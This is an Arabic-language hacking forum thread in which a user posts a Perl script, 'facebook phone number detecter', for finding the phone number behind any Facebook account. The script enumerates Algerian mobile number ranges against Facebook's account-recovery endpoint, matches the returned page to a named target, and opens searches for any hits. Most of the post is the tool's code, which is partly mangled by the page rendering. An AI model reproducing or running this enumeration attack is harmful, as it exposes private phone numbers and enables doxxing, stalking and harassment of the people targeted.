الوسوم:
حالة الموضوع:
مغلق
  1. isdo213

    isdo213 isdo213 Developer

    الأنتساب:
    ‏16 مايو 2014
    المشاركات:
    686
    الإعجابات المتلقاة:
    25
    نقاط الجائزة:
    28
    الجنس:
    ذكر
    الوظيفة:
    لغات اجنبية
    الإقامة:
    الجزائر
    المخالفات
    3
    [​IMG]

    [​IMG]


    الى المطورين والكل المبرمجين معي سكريبت
    facebook phone number detecter

    حيث دوره يتمثل في ايجاد رقم الهاتف لاي حساب فيسبوك كان مع العلم ان السكريبت مبرمج بلغة البيرل اضافة الة ارقام الدولة الجزائرية لكن يكمن التعديل عليه ووضع لارقام اي دولة &:"&:"&:"&:"

    كل ماعليك هو ايجاد سطر الهاتف في الفيسبوك لكي يعمل البيرل

    =D


    سلام احبابي :ُeُe11:
    [​IMG]

    كود PHP:

        
    #!/usr/bin/perl -w
         
        #! by isdo213 speciale version for algeria numbers
        #! release for public 04/05/2014
        #! for more information  [email protected]
        #! we D'ont need Opportunity to hack...we create the Opportunity we are hackerZ
         
        
    use strict;
        use 
    warnings;
         
        use 
    LWP::UserAgent;
         
        
    sub post_url {
        
    my$url$formref ) = @_;
         
        
    # set up a UserAgent object to handle our request
        
    my $ua = new LWP::UserAgent(timeout => 300);
         
        
    $ua->agent('perlproc/1.0');
         
        
    my $response $ua->post($url$formref );
         
        if( 
    $response->is_success ){
        return 
    $response->content;
        } else {
        return 
    undef;
        }
        }
         
        
    my $cant=;
        
    my $Backup_Count 0;
        
    sub back_and_print {
        
    my $text shift @_;  # no tabs, no newlines!
         
        
    print "\b" x $Backup_Count;
        print 
    " " x $Backup_Count;
        print 
    "\b" x $Backup_Count;
        
    $Backup_Count length $text;
        print 
    $text;
        }
         
        
    my $red="\e[1;31m";
        
    my $normal="\e[0m\n";
         
         
        print 
    "
        ------------------------------------------------------------
                                                                    |
        .%%%%%...%%%%%%.............. %%%%%..... %%....%%%%%%.      |
        .%%..%%.....%%...............    %%...  %%%.......%%..      |
        .%%..%%....%%........%%%%%%...%%%%..... %%......%%%..       |
        .%%..%%...%%................  %%........%%........%%.       |
        .%%%%%...%%%%%%.............. %%%%%%..%%%%%%..%%%%%..       |
                                                                    |
        |[+] Dz fb num Detecter                                     |
        |[+] isdo213|codes                |   thisdo[at]gmail[com]  |
        |[+] GreetZ: to All Dz HackerZ - the least hacker - iq team |
        ------------------------------------------------------------
        \n\n" 
    ;
         
        print 
    "enter the name of Target : ";
        
    my $name=<STDIN> ;
        
    chomp($name) ;
         
        print 
    "enter the last 4 numbers : ";
        
    my $number=<STDIN> ;
        print 
    "
        choose the user operator
         
        [1] djezzy
        [2] Nedjma
        [3] mobilis
        [4] all (djezzy,nedjma,mobilis)
         
        "
    ;
        
    my $op=<STDIN> ;
        print 
    "$red [+]be sure that you are login to your facebook in firefox $normal type any key for beggin search ";
        
    my $s=<> ;  
         
        if (
    $op =~ "1" or $op =~ "4") {
        print 
    "
        ===============================
        scanning Djezzy numbers ..
        ===============================
        " 
    ;
        for( 
    my $i 77000$i<79999$i++ ){
        if (
    $i == "78000"){
        
    $i="79000" ;
        goto 
    aa ;
        }
        
    my $url "http://m.facebook.com/login/identify?ctx=recover";
        
    my $num "+213".$i.$number ;
        
    my %param = ( 'email' => $num);
         
        
    my $test post_url$url, \%param );
         
         
        
    my $id ="" ;
        
    my @test=[] ;
         
        if (
    $test =~ m/$name/ ){
         
        
    my @test split />/ ,$test ;
         
         
        if (
    $test[33] =~ m/(.*?)\</) {
        
    $id = $;
         
         
        }
         
        print
    "
         
        =============================
         
        [+]name of facebook is : 
    $id
        [+]phone number :  
    $num
         
        =============================
        "
    ;  
        
    system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
        goto 
    a  ;
         
        }
        else {
        if (
    $test =~ m/suspect/ ){
         
        
    $cant=$cant;
        print 
    "
         
        [
    $cant]suspect => $num
        "
    ;
        
    system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
         
        goto 
    aa ;
         
         
        }
         
         
         
         
        else {
        $|=
    ;
        
    back_and_print"" );
         
         }
         
         
         
        }
        
    aa:
        }
        }
         
        
    #===========================nedjma================================
         
        
    if ($op =~ "2" or $op =~ "4") {
        print 
    "
        ===============================
        scanning Nedjma numbers ..  
        ===============================
        "
    ;
        for( 
    my $i 55000$i<55999$i++ ){
         
        
    my $url "http://m.facebook.com/login/identify?ctx=recover";
        
    my $num "+213".$i.$number ;
        
    my %param = ( 'email' => $num);
         
        
    my $test post_url$url, \%param );
        
    my $id ="" ;
        
    my @test=[] ;
         
        if (
    $test =~ m/$name/){
        
    my @test split />/ ,$test ;
         
         
        if (
    $test[33] =~ m/(.*?)\</) {
        
    $id = $;
        }
         
        print
    "
         
        =============================
         
        [+]name of facebook is : 
    $id
        [+]phone number :  
    $num
         
        =============================
        "
    ;  
        
    system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
        goto 
    a  ;
         
        }
         
        else {
        if (
    $test =~ m/suspect/ ){
        
    $cant=$cant;
        print 
    "
        [
    $cant]suspect => $num
        "
    ;
        
    system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
         
        goto 
    bb ;
         
        }
        else {
        $|=
    ;
        
    back_and_print"" );
         
         }
         
         
         
        }
        
    bb:
        }
        }
        
    #======================================mobilis========================
         
        
    if ($op =~ "3" or $op =~ "4") {
        print 
    "
        ===============================
        scanning mobilis numbers ..  
        ===============================
        " 
    ;
        for( 
    my $i 66100$i<69999$i++ ){
        if (
    $i == "67000"){
        
    $i="69900" ;
        goto 
    cc ;
        }
        
    my $url "http://m.facebook.com/login/identify?ctx=recover";
        
    my $num "+213".$i.$number ;
        
    my %param = ( 'email' => $num);
         
        
    my $test post_url$url, \%param );
         
        
    my $id ="" ;
        
    my @test=[] ;
         
        if (
    $test =~ m/$name/){
        
    my @test split />/ ,$test ;
         
         
        if (
    $test[33] =~ m/(.*?)\</) {
        
    $id = $;
        }
         
        print
    "
         
        =============================
         
        [+]name of facebook is : 
    $id
        [+]phone number :  
    $num
         
        =============================
        "
    ;  
        
    system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
         
        goto 
    ;
         
        }
         
        else {
        if (
    $test =~ m/suspect/ ){
        
    $cant=$cant;
        print 
    "
        [
    $cant]suspect => $num
        "
    ;
        
    system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
        goto 
    cc ;
         
        }
        else {
        $|=
    ;
        
    back_and_print"" );
         
         }
         
         
         
        }
        
    cc:
        }
        }
         
         
        
    #=========================exite=============================
        
    a:
        print 
    "search finish  " ;

    [​IMG]

    [​IMG]

    [​IMG]
     
  2. isdo213

    isdo213 isdo213 Developer

    الأنتساب:
    ‏16 مايو 2014
    المشاركات:
    686
    الإعجابات المتلقاة:
    25
    نقاط الجائزة:
    28
    الجنس:
    ذكر
    الوظيفة:
    لغات اجنبية
    الإقامة:
    الجزائر
    المخالفات
    3
    رد: سكريبت facebook phone number detecter

    [​IMG]
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة